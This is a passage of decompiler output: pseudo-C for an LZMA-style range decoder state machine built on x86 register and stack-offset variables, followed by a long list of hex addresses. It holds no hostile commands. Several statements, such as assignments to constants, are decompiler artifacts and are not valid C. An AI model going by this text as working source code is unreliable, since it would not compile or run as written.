                                                                                    							L109:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x10;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t365 = __ebp - 0x70;
                                                                                    							 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t365;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							goto L111;
                                                                                    						case 0x11:
                                                                                    							L68:
                                                                                    							__esi =  *(__ebp - 0x58);
                                                                                    							 *(__ebp - 0x84) = 0x12;
                                                                                    							goto L132;
                                                                                    						case 0x12:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								__eax =  *(__ebp - 0x58);
                                                                                    								 *(__ebp - 0x84) = 0x13;
                                                                                    								__esi =  *(__ebp - 0x58) + 2;
                                                                                    								goto L132;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x4c);
                                                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                                                    							__eflags = __eax;
                                                                                    							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    							goto L130;
                                                                                    						case 0x13:
                                                                                    							__eflags =  *(__ebp - 0x40);
                                                                                    							if( *(__ebp - 0x40) != 0) {
                                                                                    								_t469 = __ebp - 0x58;
                                                                                    								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    								__eflags =  *_t469;
                                                                                    								 *(__ebp - 0x30) = 0x10;
                                                                                    								 *(__ebp - 0x40) = 8;
                                                                                    								L144:
                                                                                    								 *(__ebp - 0x7c) = 0x14;
                                                                                    								goto L145;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x4c);
                                                                                    							__ecx =  *(__ebp - 0x58);
                                                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                                                    							 *(__ebp - 0x30) = 8;
                                                                                    							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    							L130:
                                                                                    							 *(__ebp - 0x58) = __eax;
                                                                                    							 *(__ebp - 0x40) = 3;
                                                                                    							goto L144;
                                                                                    						case 0x14:
                                                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    							__eax =  *(__ebp - 0x80);
                                                                                    							goto L140;
                                                                                    						case 0x15:
                                                                                    							__eax = 0;
                                                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    							__al = __al & 0x000000fd;
                                                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    							goto L120;
                                                                                    						case 0x16:
                                                                                    							__eax =  *(__ebp - 0x30);
                                                                                    							__eflags = __eax - 4;
                                                                                    							if(__eax >= 4) {
                                                                                    								_push(3);
                                                                                    								_pop(__eax);
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 4);
                                                                                    							 *(__ebp - 0x40) = 6;
                                                                                    							__eax = __eax << 7;
                                                                                    							 *(__ebp - 0x7c) = 0x19;
                                                                                    							 *(__ebp - 0x58) = __eax;
                                                                                    							goto L145;
                                                                                    						case 0x17:
                                                                                    							L145:
                                                                                    							__eax =  *(__ebp - 0x40);
                                                                                    							 *(__ebp - 0x50) = 1;
                                                                                    							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    							goto L149;
                                                                                    						case 0x18:
                                                                                    							L146:
                                                                                    							__eflags =  *(__ebp - 0x6c);
                                                                                    							if( *(__ebp - 0x6c) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x18;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__ecx =  *(__ebp - 0x70);
                                                                                    							__eax =  *(__ebp - 0xc);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							_t484 = __ebp - 0x70;
                                                                                    							 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    							__eflags =  *_t484;
                                                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    							L148:
                                                                                    							_t487 = __ebp - 0x48;
                                                                                    							 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    							__eflags =  *_t487;
                                                                                    							L149:
                                                                                    							__eflags =  *(__ebp - 0x48);
                                                                                    							if( *(__ebp - 0x48) <= 0) {
                                                                                    								__ecx =  *(__ebp - 0x40);
                                                                                    								__ebx =  *(__ebp - 0x50);
                                                                                    								0 = 1;
                                                                                    								__eax = 1 << __cl;
                                                                                    								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    								__eax =  *(__ebp - 0x7c);
                                                                                    								 *(__ebp - 0x44) = __ebx;
                                                                                    								goto L140;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x50);
                                                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    							__eax =  *(__ebp - 0x58);
                                                                                    							__esi = __edx + __eax;
                                                                                    							 *(__ebp - 0x54) = __esi;
                                                                                    							__ax =  *__esi;
                                                                                    							__edi = __ax & 0x0000ffff;
                                                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    								__cx = __ax;
                                                                                    								__cx = __ax >> 5;
                                                                                    								__eax = __eax - __ecx;
                                                                                    								__edx = __edx + 1;
                                                                                    								__eflags = __edx;
                                                                                    								 *__esi = __ax;
                                                                                    								 *(__ebp - 0x50) = __edx;
                                                                                    							} else {
                                                                                    								 *(__ebp - 0x10) = __ecx;
                                                                                    								0x800 = 0x800 - __edi;
                                                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    								 *__esi = __cx;
                                                                                    							}
                                                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    								goto L148;
                                                                                    							} else {
                                                                                    								goto L146;
                                                                                    							}
                                                                                    						case 0x19:
                                                                                    							__eflags = __ebx - 4;
                                                                                    							if(__ebx < 4) {
                                                                                    								 *(__ebp - 0x2c) = __ebx;
                                                                                    								L119:
                                                                                    								_t393 = __ebp - 0x2c;
                                                                                    								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    								__eflags =  *_t393;
                                                                                    								L120:
                                                                                    								__eax =  *(__ebp - 0x2c);
                                                                                    								__eflags = __eax;
                                                                                    								if(__eax == 0) {
                                                                                    									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    									goto L170;
                                                                                    								}
                                                                                    								__eflags = __eax -  *(__ebp - 0x60);
                                                                                    								if(__eax >  *(__ebp - 0x60)) {
                                                                                    									goto L171;
                                                                                    								}
                                                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    								__eax =  *(__ebp - 0x30);
                                                                                    								_t400 = __ebp - 0x60;
                                                                                    								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    								__eflags =  *_t400;
                                                                                    								goto L123;
                                                                                    							}
                                                                                    							__ecx = __ebx;
                                                                                    							__eax = __ebx;
                                                                                    							__ecx = __ebx >> 1;
                                                                                    							__eax = __ebx & 0x00000001;
                                                                                    							__ecx = (__ebx >> 1) - 1;
                                                                                    							__al = __al | 0x00000002;
                                                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                                                    							__eflags = __ebx - 0xe;
                                                                                    							 *(__ebp - 0x2c) = __eax;
                                                                                    							if(__ebx >= 0xe) {
                                                                                    								__ebx = 0;
                                                                                    								 *(__ebp - 0x48) = __ecx;
                                                                                    								L102:
                                                                                    								__eflags =  *(__ebp - 0x48);
                                                                                    								if( *(__ebp - 0x48) <= 0) {
                                                                                    									__eax = __eax + __ebx;
                                                                                    									 *(__ebp - 0x40) = 4;
                                                                                    									 *(__ebp - 0x2c) = __eax;
                                                                                    									__eax =  *(__ebp - 4);
                                                                                    									__eax =  *(__ebp - 4) + 0x644;
                                                                                    									__eflags = __eax;
                                                                                    									L108:
                                                                                    									__ebx = 0;
                                                                                    									 *(__ebp - 0x58) = __eax;
                                                                                    									 *(__ebp - 0x50) = 1;
                                                                                    									 *(__ebp - 0x44) = 0;
                                                                                    									 *(__ebp - 0x48) = 0;
                                                                                    									L112:
                                                                                    									__eax =  *(__ebp - 0x40);
                                                                                    									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    										_t391 = __ebp - 0x2c;
                                                                                    										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                    										__eflags =  *_t391;
                                                                                    										goto L119;
                                                                                    									}
                                                                                    									__eax =  *(__ebp - 0x50);
                                                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    									__eax =  *(__ebp - 0x58);
                                                                                    									__esi = __edi + __eax;
                                                                                    									 *(__ebp - 0x54) = __esi;
                                                                                    									__ax =  *__esi;
                                                                                    									__ecx = __ax & 0x0000ffff;
                                                                                    									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    									__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    									if( *(__ebp - 0xc) >= __edx) {
                                                                                    										__ecx = 0;
                                                                                    										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    										__ecx = 1;
                                                                                    										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    										__ebx = 1;
                                                                                    										__ecx =  *(__ebp - 0x48);
                                                                                    										__ebx = 1 << __cl;
                                                                                    										__ecx = 1 << __cl;
                                                                                    										__ebx =  *(__ebp - 0x44);
                                                                                    										__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    										__cx = __ax;
                                                                                    										__cx = __ax >> 5;
                                                                                    										__eax = __eax - __ecx;
                                                                                    										__edi = __edi + 1;
                                                                                    										__eflags = __edi;
                                                                                    										 *(__ebp - 0x44) = __ebx;
                                                                                    										 *__esi = __ax;
                                                                                    										 *(__ebp - 0x50) = __edi;
                                                                                    									} else {
                                                                                    										 *(__ebp - 0x10) = __edx;
                                                                                    										0x800 = 0x800 - __ecx;
                                                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    										 *__esi = __dx;
                                                                                    									}
                                                                                    									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    									if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    										L111:
                                                                                    										_t368 = __ebp - 0x48;
                                                                                    										 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                    										__eflags =  *_t368;
                                                                                    										goto L112;
                                                                                    									} else {
                                                                                    										goto L109;
                                                                                    									}
                                                                                    								}
                                                                                    								__ecx =  *(__ebp - 0xc);
                                                                                    								__ebx = __ebx + __ebx;
                                                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    								 *(__ebp - 0x44) = __ebx;
                                                                                    								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    									__ecx =  *(__ebp - 0x10);
                                                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    									__ebx = __ebx | 0x00000001;
                                                                                    									__eflags = __ebx;
                                                                                    									 *(__ebp - 0x44) = __ebx;
                                                                                    								}
                                                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    									L101:
                                                                                    									_t338 = __ebp - 0x48;
                                                                                    									 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                    									__eflags =  *_t338;
                                                                                    									goto L102;
                                                                                    								} else {
                                                                                    									goto L99;
                                                                                    								}
                                                                                    							}
                                                                                    							__edx =  *(__ebp - 4);
                                                                                    							__eax = __eax - __ebx;
                                                                                    							 *(__ebp - 0x40) = __ecx;
                                                                                    							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    							goto L108;
                                                                                    						case 0x1a:
                                                                                    							goto L55;
                                                                                    						case 0x1b:
                                                                                    							L75:
                                                                                    							__eflags =  *(__ebp - 0x64);
                                                                                    							if( *(__ebp - 0x64) == 0) {
                                                                                    								 *(__ebp - 0x88) = 0x1b;
                                                                                    								goto L170;
                                                                                    							}
                                                                                    							__eax =  *(__ebp - 0x14);
                                                                                    							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    							__eflags = __eax -  *(__ebp - 0x74);
                                                                                    							if(__eax >=  *(__ebp - 0x74)) {
                                                                                    								__eax = __eax +  *(__ebp - 0x74);
                                                                                    								__eflags = __eax;
                                                                                    							}
                                                                                    							__edx =  *(__ebp - 8);
                                                                                    							__cl =  *(__eax + __edx);
                                                                                    							__eax =  *(__ebp - 0x14);
                                                                                    							 *(__ebp - 0x5c) = __cl;
                                                                                    							 *(__eax + __edx) = __cl;
                                                                                    							__eax = __eax + 1;
                                                                                    							__edx = 0;
                                                                                    							_t274 = __eax %  *(__ebp - 0x74);
                                                                                    							__eax = __eax /  *(__ebp - 0x74);
                                                                                    							__edx = _t274;
                                                                                    							__eax =  *(__ebp - 0x68);
                                                                                    							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    							_t283 = __ebp - 0x64;
                                                                                    							 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                    							__eflags =  *_t283;
                                                                                    							 *( *(__ebp - 0x68)) = __cl;
                                                                                    							goto L79;
                                                                                    						case 0x1c:
                                                                                    							while(1) {
                                                                                    								L123:
                                                                                    								__eflags =  *(__ebp - 0x64);
                                                                                    								if( *(__ebp - 0x64) == 0) {
                                                                                    									break;
                                                                                    								}
                                                                                    								__eax =  *(__ebp - 0x14);
                                                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                                                    									__eflags = __eax;
                                                                                    								}
                                                                                    								__edx =  *(__ebp - 8);
                                                                                    								__cl =  *(__eax + __edx);
                                                                                    								__eax =  *(__ebp - 0x14);
                                                                                    								 *(__ebp - 0x5c) = __cl;
                                                                                    								 *(__eax + __edx) = __cl;
                                                                                    								__eax = __eax + 1;
                                                                                    								__edx = 0;
                                                                                    								_t414 = __eax %  *(__ebp - 0x74);
                                                                                    								__eax = __eax /  *(__ebp - 0x74);
                                                                                    								__edx = _t414;
                                                                                    								__eax =  *(__ebp - 0x68);
                                                                                    								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    								__eflags =  *(__ebp - 0x30);
                                                                                    								 *( *(__ebp - 0x68)) = __cl;
                                                                                    								 *(__ebp - 0x14) = __edx;
                                                                                    								if( *(__ebp - 0x30) > 0) {
                                                                                    									continue;
                                                                                    								} else {
                                                                                    									goto L80;
                                                                                    								}
                                                                                    							}
                                                                                    							 *(__ebp - 0x88) = 0x1c;
                                                                                    							goto L170;
                                                                                    					}
                                                                                    				}
                                                                                    			}













                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406925
                                                                                    0x0040692a
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x00000000
                                                                                    0x00407195
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00000000
                                                                                    0x00407004
                                                                                    0x0040692c
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00000000
                                                                                    0x00406b5d
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e9
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a99
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x004071ab
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x004071c7
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x00000000
                                                                                    0x004069e0
                                                                                    0x00406a6c
                                                                                    0x00406975
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406cfd
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
